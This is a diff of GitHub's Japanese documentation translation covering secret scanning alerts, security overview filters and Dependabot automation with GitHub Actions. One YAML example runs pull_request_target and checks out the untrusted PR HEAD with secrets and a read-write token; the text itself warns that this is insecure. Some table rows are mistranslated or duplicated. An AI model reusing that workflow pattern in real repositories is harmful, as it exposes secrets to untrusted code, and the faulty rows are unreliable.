+Automatically detect tokens or credentials that have been checked into a repository. {% ifversion fpt or ghec %}For secrets identified in public repositories, the service is informed that the secret may be compromised.{% endif %}
 {%- ifversion ghec or ghes or ghae %}
 {% ifversion ghec %}For private repositories, you can view {% elsif ghes or ghae %}View {% endif %}any secrets that {% data variables.product.company_short %} has found in your code. You should treat tokens or credentials that have been checked into the repository as compromised.{% endif %} For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
-### Dependency review
+### 依存関係のレビュー
 
-Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+Pull Requestをマージする前に、依存関係に対する変更の影響を詳細に示し、脆弱なバージョンがあればその詳細を確認できます。 詳しい情報については「[依存関係のレビュー](/code-security/supply-chain-security/about-dependency-review)」を参照してください。
 {% endif %}
 
-## Further reading
-- "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)"
-- "[{% data variables.product.prodname_dotcom %} language support](/github/getting-started-with-github/github-language-support)"
+## 参考リンク
+- "[{% data variables.product.prodname_dotcom %}の製品](/github/getting-started-with-github/githubs-products)"
+- 「[{% data variables.product.prodname_dotcom %}言語サポート](/github/getting-started-with-github/github-language-support)」
diff --git a/translations/ja-JP/content/code-security/guides.md b/translations/ja-JP/content/code-security/guides.md
index d232a22a1f..c0798abba2 100644
--- a/translations/ja-JP/content/code-security/guides.md
+++ b/translations/ja-JP/content/code-security/guides.md
@@ -1,6 +1,6 @@
 ---
-title: Guides for code security
-intro: 'Learn about the different ways that {% data variables.product.product_name %} can help you improve your code''s security.'
+title: コードセキュリティのためのガイド
+intro: 'コードのセキュリティの改善を{% data variables.product.product_name %}が支援する様々な方法について学んでください。'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/ja-JP/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/ja-JP/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
index b148ac4d78..c9e335b15b 100644
--- a/translations/ja-JP/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
+++ b/translations/ja-JP/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
@@ -1,6 +1,6 @@
 ---
-title: Managing alerts from secret scanning
-intro: You can view and close alerts for secrets checked in to your repository.
+title: シークレットスキャンからのアラートを管理する
+intro: リポジトリにチェックインしたシークレットのアラートを表示したりクローズしたりすることができます。
 product: '{% data reusables.gated-features.secret-scanning %}'
 redirect_from:
   - /github/administering-a-repository/managing-alerts-from-secret-scanning
@@ -16,51 +16,51 @@ topics:
   - Advanced Security
   - Alerts
   - Repositories
-shortTitle: Manage secret alerts
+shortTitle: シークレットのアラートの管理
 ---
 
 {% data reusables.secret-scanning.beta %}
 
-## Managing {% data variables.product.prodname_secret_scanning %} alerts
+## {% data variables.product.prodname_secret_scanning %}アラートの管理
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
-1. In the left sidebar, click **Secret scanning alerts**.
+1. 左サイトバーで、[**Secret scanning alerts**] をクリックします。
    {% ifversion fpt or ghes or ghec %}
-   !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png)
+   ![[Secret scanning alert] タブ](/assets/images/help/repository/sidebar-secrets.png)
    {% endif %}
    {% ifversion ghae %}
-   !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png)
+   ![[Secret scanning alert] タブ](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png)
    {% endif %}
-1. Under "Secret scanning" click the alert you want to view.
+1. [Secret scanning] の下で、表示するアラートをクリックします。
    {% ifversion fpt or ghec %}
-   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png)
+   ![シークレットスキャンからのアラートのリスト](/assets/images/help/repository/secret-scanning-click-alert.png)
    {% endif %}
    {% ifversion ghes %}
-   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert-ghe.png)
+   ![シークレットスキャンからのアラートのリスト](/assets/images/help/repository/secret-scanning-click-alert-ghe.png)
    {% endif %}
    {% ifversion ghae %}
-   ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png)
+   ![シークレットスキャンからのアラートのリスト](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png)
    {% endif %}
 1. Optionally, select the {% ifversion fpt or ghec %}"Close as"{% elsif ghes or ghae %}"Mark as"{% endif %} drop-down menu and click a reason for resolving an alert.
    {% ifversion fpt or ghec %}
-   ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert.png)
+   ![シークレットスキャンからのアラートを解決するためのドロップダウンメニュー](/assets/images/help/repository/secret-scanning-resolve-alert.png)
    {% endif %}
    {% ifversion ghes or ghae %}
-   ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert-ghe.png)
+   ![シークレットスキャンからのアラートを解決するためのドロップダウンメニュー](/assets/images/help/repository/secret-scanning-resolve-alert-ghe.png)
    {% endif %}
 
-## Securing compromised secrets
+## 侵害されたシークレットを保護する
 
-Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.prodname_dotcom %} recommends the following actions for compromised secrets:
+シークレットがリポジトリにコミットされたら、シークレットが侵害されたと考える必要があります。 {% data variables.product.prodname_dotcom %} は、侵害されたシークレットに対して次のアクションを行うことをおすすめします。
 
-- For a compromised {% data variables.product.prodname_dotcom %} personal access token, delete the compromised token, create a new token, and update any services that use the old token. For more information, see "[Creating a personal access token for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)."
-- For all other secrets, first verify that the secret committed to {% data variables.product.product_name %} is valid. If so, create a new secret, update any services that use the old secret, and then delete the old secret.
+- 侵害された {% data variables.product.prodname_dotcom %} の個人アクセストークンについては、侵害されたトークンを削除し、新しいトークンを作成し、古いトークンを使っていたサービスを更新してください。 詳しい情報については[コマンドラインのための個人のアクセストークンの作成](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)を参照してください。
+- それ以外のすべてのシークレットについては、最初に {% data variables.product.product_name %} にコミットされたシークレットが有効であることを確認してください。 有効である場合は、新しいシークレットを作成し、古いシークレットを使用するサービスを更新してから、古いシークレットを削除します。
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4910 or ghec %}
-## Configuring notifications for {% data variables.product.prodname_secret_scanning %} alerts
+## {% data variables.product.prodname_secret_scanning %}アラートの通知の設定
 
-When a new secret is detected, {% data variables.product.product_name %} notifies all users with access to security alerts for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, are the author of the commit that contains the secret and are not ignoring the repository.
+新しいシークレットが検出されると、{% data variables.product.product_name %}は通知設定に従ってリポジトリのセキュリティアラートにアクセスできるすべてのユーザに通知します。 You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, are the author of the commit that contains the secret and are not ignoring the repository.
 
-For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" and "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+詳しい情報については、「[リポジトリのセキュリティ及び分析の設定の管理](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)」及び「[通知の設定](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)」を参照してください。
 {% endif %}
diff --git a/translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md b/translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md
index 16d8b25dda..83e742d41a 100644
--- a/translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md
+++ b/translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md
@@ -1,5 +1,5 @@
 ---
-title: About the security overview
+title: セキュリティの概要について
 intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.'
 product: '{% data reusables.gated-features.security-center %}'
 redirect_from:
@@ -21,47 +21,46 @@ shortTitle: About security overview
 
 {% data reusables.security-center.beta %}
 
-## About the security overview
+## セキュリティの概要について
 
-You can use the security overview for a high-level view of the security status of your organization or to identify problematic repositories that require intervention. At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)."
+セキュリティの概要は、Organizationのセキュリティの状況の高レベルでの表示、あるいは介入が必要な問題のあるリポジトリを特定するために利用できます。 Organizationのレベルでは、セキュリティの概要はOrganizationが所有するリポジトリに関する集約されたリポジトリ固有のセキュリティ情報を表示します。 Teamレベルでは、セキュリティの概要はTeamが管理権限を持つリポジトリの固有のセキュリティ情報を表示します。 詳しい情報については「[OrganizationリポジトリへのTeamのアクセス管理](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)」を参照してください。
 
 The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %}
 
 For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)."
 
-In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. You can apply multiple filters to focus on areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts.
+セキュリティの概要では、Organizationや特定のリポジトリ内のセキュリティリスクを理解するために、アラートを表示、ソート、フィルタリングできます。 関心のある領域に集中するために、複数のフィルタを適用することができます。 たとえば、多数の{% data variables.product.prodname_dependabot_alerts %}が生じているプライベートリポジトリや、{% data variables.product.prodname_code_scanning %}アラートのないリポジトリを識別できます。
 
-![The security overview for an organization](/assets/images/help/organizations/security-overview.png)
+![Organizationのセキュリティの概要](/assets/images/help/organizations/security-overview.png)
 
 For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out.
 
-![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png)
+![セキュリティの概要中のアイコン](/assets/images/help/organizations/security-overview-icons.png)
 
-| Icon | Meaning |
-| -------- | -------- |
-| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." |
-| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." |
-| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." |
-| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. |
-| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. |
+| アイコン                                                          | 意味                                                                                                                                                                                                             |
+| ------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} アラート. 詳しい情報については「[{% data variables.product.prodname_code_scanning %}について](/code-security/secure-coding/about-code-scanning)」を参照してください。           |
+| {% octicon "key" aria-label="Secret scanning alerts" %}       | {% data variables.product.prodname_secret_scanning_caps %} アラート. 詳しい情報については「[{% data variables.product.prodname_secret_scanning %}について](/code-security/secret-security/about-secret-scanning)」を参照してください。   |
+| {% octicon "hubot" aria-label="Dependabot alerts" %}          | {% data variables.product.prodname_dependabot_alerts %}について受ける方法は、カスタマイズできます。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」を参照してください。 |
+| {% octicon "check" aria-label="Check" %}                      | The security feature is enabled, but does not raise alerts in this repository.                                                                                                                                 |
+| {% octicon "x" aria-label="x" %}                              | The security feature is not supported in this repository.                                                                                                                                                      |
 
-By default, archived repositories are excluded from the security overview for an organization. You can apply filters to view archived repositories in the security overview. For more information, see "[Filtering the list of alerts](#filtering-the-list-of-alerts)."
+デフォルトでは、アーカイブされたリポジトリはOrganizationのセキュリティの概要からは除外されます。 セキュリティの概要では、アーカイブされたリポジトリを見るためにフィルタを適用できます。 詳しい情報については「[アラートのリストのフィルタリング](#filtering-the-list-of-alerts)」を参照してください。
 
-The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist.
+The security overview displays active alerts raised by security features. リポジトリに対してセキュリティの概要でアラートがない場合でも、検出されていないセキュリティ脆弱性やコードのエラーは存在するかもしれません。
 
-## Viewing the security overview for an organization
+## Organizationのセキュリティの概要の表示
 
-Organization owners can view the security overview for an organization.
+Organizationのオーナーは、Organizationのセキュリティの概要を見ることができます。
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.security-overview %}
-1. To view aggregate information about alert types, click **Show more**.
-  ![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png)
+1. アラートの種類に対する集約された情報を見るには、**Show more（さらに表示）**をクリックしてください。 ![さらに表示ボタン](/assets/images/help/organizations/security-overview-show-more-button.png)
 {% data reusables.organizations.filter-security-overview %}
 
-## Viewing the security overview for a team
+## Teamのセキュリティの概要の表示
 
-Members of a team can see the security overview for repositories that the team has admin privileges for.
+Teamのメンバーは、Teamが管理者権限を持つリポジトリのセキュリティの概要を見ることができます。
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -69,70 +68,69 @@ Members of a team can see the security overview for repositories that the team h
 {% data reusables.organizations.team-security-overview %}
 {% data reusables.organizations.filter-security-overview %}
 
-## Filtering the list of alerts
+## アラートのリストのフィルタリング
 
-### Filter by level of risk for repositories
+### リポジトリに対するリスクレベルによるフィルタリング
 
 The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk.
 
-| Qualifier | Description |
-| -------- | -------- |
-| `risk:high` | Display repositories that are at high risk. |
-| `risk:medium` | Display repositories that are at medium risk. |
-| `risk:low` | Display repositories that are at low risk. |
-| `risk:unknown` | Display repositories that are at an unknown level of risk. |
-| `risk:clear` | Display repositories that have no detected level of risk. |
+| 修飾子            | 説明                          |
+| -------------- | --------------------------- |
+| `risk:high`    | 高リスクのリポジトリを表示します。           |
+| `risk:medium`  | 中程度のリスクのリポジトリを表示します。        |
+| `risk:low`     | 低リスクのリポジトリを表示します。           |
+| `risk:unknown` | リスクレベルが不明なリポジトリを表示します。      |
+| `risk:clear`   | リスクレベルが検出されていないリポジトリを表示します。 |
 
-### Filter by number of alerts
+### アラート数によるフィルタ
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>code-scanning-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use &gt and &lt comparison operators. |
-| <code>secret-scanning-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use &gt and &lt comparison operators. |
-| <code>dependabot-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use &gt and &lt comparison operators. |
+| 修飾子                       | 説明                                                                                                               |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| <code>code-scanning-alerts:<em>n</em></code> | *n*件の{% data variables.product.prodname_code_scanning %}アラートがあるリポジトリを表示します。 この修飾子は &gt 及び &lt j比較演算子を使用できます。   |
+| <code>secret-scanning-alerts:<em>n</em></code> | *n*件の{% data variables.product.prodname_secret_scanning %}アラートを持つリポジトリを表示します。 この修飾子は &gt 及び &lt j比較演算子を使用できます。 |
+| <code>dependabot-alerts:<em>n</em></code> | *n*件の{% data variables.product.prodname_dependabot_alerts %}を持つリポジトリを表示します。 この修飾子は &gt 及び &lt j比較演算子を使用できます。   |
 
 ### Filter by whether security features are enabled
 
-| Qualifier | Description |
-| -------- | -------- |
-| `enabled:code-scanning` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. |
-| `not-enabled:code-scanning` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. |
-| `enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
-| `not-enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
-| `enabled:dependabot-alerts` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. |
-| `not-enabled:dependabot-alerts` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. |
+| 修飾子                             | 説明                                                                              |
+| ------------------------------- | ------------------------------------------------------------------------------- |
+| `enabled:code-scanning`         | {% data variables.product.prodname_code_scanning %}が有効化されているリポジトリを表示します。      |
+| `not-enabled:code-scanning`     | {% data variables.product.prodname_code_scanning %}が有効化されていないリポジトリを表示します。     |
+| `enabled:secret-scanning`       | {% data variables.product.prodname_secret_scanning %}が有効化されているリポジトリを表示します。    |
+| `not-enabled:secret-scanning`   | {% data variables.product.prodname_secret_scanning %}が有効化されているリポジトリを表示します。    |
+| `enabled:dependabot-alerts`     | {% data variables.product.prodname_dependabot_alerts %}が有効化されているリポジトリを表示します。  |
+| `not-enabled:dependabot-alerts` | {% data variables.product.prodname_dependabot_alerts %}が有効化されていないリポジトリを表示します。 |
 
-### Filter by repository type
+### リポジトリの種類によるフィルタ
 
-| Qualifier | Description |
-| -------- | -------- |
+| 修飾子 | 説明 |
+| --- | -- |
+|     |    |
 {%- ifversion fpt or ghes > 3.1 or ghec %}
 | `is:public` | Display public repositories. |
 {% elsif ghes or ghec or ghae %}
 | `is:internal` | Display internal repositories. |
 {%- endif %}
-| `is:private` | Display private repositories. |
-| `archived:true` | Display archived repositories. |
-| `archived:true` | Display archived repositories. |
+| `is:private` | Display private repositories. | | `archived:true` | Display archived repositories. | | `archived:true` | Display archived repositories. |
 
-### Filter by team
+### Teamによるフィルタ
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>team:<em>TEAM-NAME</em></code> | Displays repositories that *TEAM-NAME* has admin privileges for. |
+| 修飾子                       | 説明                               |
+| ------------------------- | -------------------------------- |
+| <code>team:<em>TEAM-NAME</em></code> | *TEAM-NAME*が管理者権限を持つリポジトリを表示します。 |
 
-### Filter by topic
+### トピックによるフィルタ
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>topic:<em>TOPIC-NAME</em></code> | Displays repositories that are classified with *TOPIC-NAME*. |
+| 修飾子                       | 説明                             |
+| ------------------------- | ------------------------------ |
+| <code>topic:<em>TOPIC-NAME</em></code> | *TOPIC-NAME*で分類されるリポジトリを表示します。 |
 
-### Sort the list of alerts
+### アラートのリストをソート
 
-| Qualifier | Description |
-| -------- | -------- |
-| `sort:risk` | Sorts the repositories in your security overview by risk. |
-| `sort:repos` | Sorts the repositories in your security overview alphabetically by name. |
-| `sort:code-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_code_scanning %} alerts. |
-| `sort:secret-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_secret_scanning %} alerts. |
-| `sort:dependabot-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_dependabot_alerts %}. |
+| 修飾子                           | 説明                                                                                    |
+| ----------------------------- | ------------------------------------------------------------------------------------- |
+| `sort:risk`                   | セキュリティの概要中のリポジトリをリスクでソートします。                                                          |
+| `sort:repos`                  | セキュリティの概要中のリポジトリを名前でアルファベット順にソートします。                                                  |
+| `sort:code-scanning-alerts`   | セキュリティの概要中のリポジトリを{% data variables.product.prodname_code_scanning %}アラート数でソートします。   |
+| `sort:secret-scanning-alerts` | セキュリティの概要中のリポジトリを{% data variables.product.prodname_secret_scanning %}アラート数でソートします。 |
+| `sort:dependabot-alerts`      | セキュリティの概要中のリポジトリを{% data variables.product.prodname_dependabot_alerts %}数でソートします。   |
diff --git a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md
index 9d3a2c3ed5..aeb4f66905 100644
--- a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md
+++ b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Automating Dependabot with GitHub Actions
-intro: 'Examples of how you can use {% data variables.product.prodname_actions %} to automate common {% data variables.product.prodname_dependabot %} related tasks.'
+title: GitHub ActionsでのDependabotの自動化
+intro: '{% data variables.product.prodname_actions %}を使って一般的な{% data variables.product.prodname_dependabot %}関連のタスクを自動化する例。'
 permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_actions %} to respond to {% data variables.product.prodname_dependabot %}-created pull requests.'
 miniTocMaxHeadingLevel: 3
 versions:
@@ -22,20 +22,20 @@ shortTitle: Use Dependabot with actions
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
-## About {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_dependabot %}及び{% data variables.product.prodname_actions %}について
 
-{% data variables.product.prodname_dependabot %} creates pull requests to keep your dependencies up to date, and you can use {% data variables.product.prodname_actions %} to perform automated tasks when these pull requests are created. For example, fetch additional artifacts, add labels, run tests, or otherwise modifying the pull request.
+{% data variables.product.prodname_dependabot %}は、依存関係を最新に保つためのPull Requestを作成します。{% data variables.product.prodname_actions %}を使って、それらのPull Requestが作成されたときに自動化されたタスクを実行できます。 たとえば、追加の成果物のフェッチ、ラベルの追加、テストの実行、あるいはPull Requestの変更ができます。
 
-## Responding to events
+## イベントへの応答
 
 {% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, certain events are treated differently.
 
-For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, and `push` events, the following restrictions apply:
+`pull_request`、`pull_request_review`、`pull_request_review_comment`、`push`イベントを使って {% data variables.product.prodname_dependabot %}によって開始されたワークフロー（`github.actor == "dependabot[bot]"`）については、以下の制限が適用されます。
 
 - {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` has read-only permissions, unless your administrator has removed restrictions.{% else %}`GITHUB_TOKEN` has read-only permissions by default.{% endif %}
 - {% ifversion ghes = 3.3 %}Secrets are inaccessible, unless your administrator has removed restrictions.{% else %}Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available.{% endif %}
 
-For more information, see ["Keeping your GitHub Actions and workflows secure: Preventing pwn requests"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+詳しい情報については[GitHub Actionsとワークフローをセキュアに保つ: pwnリクエストの防止](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)を参照してください。
 
 {% ifversion fpt or ghec or ghes > 3.3 %}
 
@@ -66,7 +66,7 @@ For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/act
 
 ### Accessing secrets
 
-When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)".
+When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. 詳しい情報については「[Dependabotの暗号化されたシークレットの管理](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)」を参照してください。
 
 {% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)."
 
@@ -114,16 +114,16 @@ If the restrictions are removed, when a workflow is triggered by {% data variabl
 
 {% endnote %}
 
-### Handling `pull_request` events
+### `pull_request`イベントの処理
 
-If your workflow needs access to secrets or a `GITHUB_TOKEN` with write permissions, you have two options: using `pull_request_target`, or using two separate workflows. We will detail using `pull_request_target` in this section, and using two workflows below in "[Handling `push` events](#handling-push-events)."
+ワークフローでシークレットへのアクセスや書き込み権限を持つ`GITHUB_TOKEN`が必要なら、2つの選択肢があります。`pull_request_target`の使用、もしくは2つの別々のワークフローの使用です。 このセクションでは`pull_request_target`の使用を詳しく説明し、2つのワークフローの使用は下の「[`push`イベントの処理](#handling-push-events)」で詳しく説明します。
 
-Below is a simple example of a `pull_request` workflow that might now be failing:
+以下は、失敗する可能性がある`pull_request`ワークフローのシンプルな例です。
 
 {% raw %}
 
 ```yaml
-### This workflow now has no secrets and a read-only token
+### このワークフローはシークレットを持たず、読み取りのみのトークンを持つ
 name: Dependabot Workflow
 on:
   pull_request
@@ -131,7 +131,7 @@ on:
 jobs:
   dependabot:
     runs-on: ubuntu-latest
-    # Always check the actor is Dependabot to prevent your workflow from failing on non-Dependabot PRs
+    # ワークフローがDependabot PR以外で失敗しないよう、アクターがDependabotか常にチェック
     if: ${{ github.actor == 'dependabot[bot]' }}
     steps:
       - uses: actions/checkout@v2
@@ -139,24 +139,24 @@ jobs:
 
 {% endraw %}
 
-You can replace `pull_request` with `pull_request_target`, which is used for pull requests from forks, and explicitly check out the pull request `HEAD`.
+`pull_request`は`pull_request_target`で置き換えることができます。これはフォークからのPull Requestのために使われるもので、厳密にPull Requestの`HEAD`をチェックアウトします。
 
 {% warning %}
 
-**Warning:** Using `pull_request_target` as a substitute for `pull_request` exposes you to insecure behavior. We recommend you use the two workflow method, as described below in "[Handling `push` events](#handling-push-events)."
+**警告** `pull_request`の代わりとして`pull_request_target`を使うと、安全でない動作にさらされることになります。 下の「[`push`イベントの処理](#handling-push-events)」で説明する2つのワークフローの方法を使うことをおすすめします。
 
 {% endwarning %}
 
 {% raw %}
 
 ```yaml
-### This workflow has access to secrets and a read-write token
+### このワークフローはシークレットへのアクセスと読み書きできるトークンを持ちます
 name: Dependabot Workflow
 on:
   pull_request_target
 
 permissions:
-  # Downscope as necessary, since you now have a read-write token
+  # 今度は読み書きできるトークンを持っているので、必要に応じてスコープを下げる
 
 jobs:
   dependabot:
@@ -165,25 +165,25 @@ jobs:
     steps:
       - uses: actions/checkout@v2
         with:
-          # Check out the pull request HEAD
+          # pull requestのHEADをチェックアウト
           ref: ${{ github.event.pull_request.head.sha }}
           github-token: ${{ secrets.GITHUB_TOKEN }}
 ```
 
 {% endraw %}
 
-It is also strongly recommended that you downscope the permissions granted to the `GITHUB_TOKEN` in order to avoid leaking a token with more privilege than necessary. For more information, see "[Permissions for the `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+必要以上の権限を持つトークンの漏洩を避けるために、`GITHUB_TOKEN`に付与する権限のスコープを絞ることも強くおすすめします。 詳しい情報については「[`GITHUB_TOKEN`の権限](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。
 
-### Handling `push` events
+### `push`イベントの処理
 
-As there is no `pull_request_target` equivalent for `push` events, you will have to use two workflows: one untrusted workflow that ends by uploading artifacts, which triggers a second trusted workflow that downloads artifacts and continues processing.
+`push`イベントには`pull_request_target`に相当するものがないので、2つのワークフローを使うことになります。1つは信頼されないワークフローで、成果物のアップロードで終わります。そしてこれは、成果物をダウンロードして処理を続ける、2番目の信頼されるワークフローをトリガーします。
 
-The first workflow performs any untrusted work:
+最初のワークフローは、信頼されない作業をすべて行います。
 
 {% raw %}
 
 ```yaml
-### This workflow doesn't have access to secrets and has a read-only token
+### このワークフローはシークレットにアクセスできず、読み取りのみのトークンを持つ
 name: Dependabot Untrusted Workflow
 on:
   push
